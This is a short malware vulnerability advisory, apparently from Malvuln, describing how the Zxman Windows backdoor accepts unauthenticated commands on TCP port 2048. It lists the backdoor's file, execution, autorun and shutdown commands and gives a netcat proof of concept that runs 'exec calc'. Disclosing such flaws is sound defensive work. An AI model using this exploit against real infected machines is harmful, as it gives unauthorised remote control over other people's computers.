Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/e369bbd8acbe8322834e3adbad30ff5c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zxman
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware by "Zx-man" listens on TCP port 2048. Third-party attackers who can reach an infected system can run commands made available by the backdoor.

Commands List.

* ? or HELP - View this screen
* Exec FILE_NAME,COMMAND_LINE - Execute program or file
* Copy FILE_NAME_1,FILE_NAME_2 - Copies FILE_NAME_1 to FILE_NAME_2
* Move FILE_NAME_1,FILE_NAME_2 - Moves FILE_NAME_1 to FILE_NAME_2
* Rename FILE_NAME_1,FILE_NAME_2 - Renames FILE_NAME_1 to FILE_NAME_2
* Del FILE_NAME - Deletes a file
* View FILE_NAME - Viewes a file
* Autorun FILE_NAME - Add program to the autorun list
* Dir DIRECTORY - List DIRECTORY's files and subdirs
* Msg MESSAGE - Show a message
* Mouse [ON/OFF] - Turns mouse ON / OFF
* Reboot - Reboots the computer
* TurnOff [QUICK] - Turns off the computer
* Exit - Exit!!!

Type: PE32
MD5: e369bbd8acbe8322834e3adbad30ff5c 
Vuln ID: MVID-2022-0478
Disclosure: 02/01/2022 

Exploit/PoC:
nc64.exe x.x.x.x 2048
Welcome to REMOTE_CONTROL_SYSTEM by Zx-man (zx-man@ukr.net)
--------------------------------------------------------------------------------
Type ''?'' for HELP!
>exec calc
exec calc

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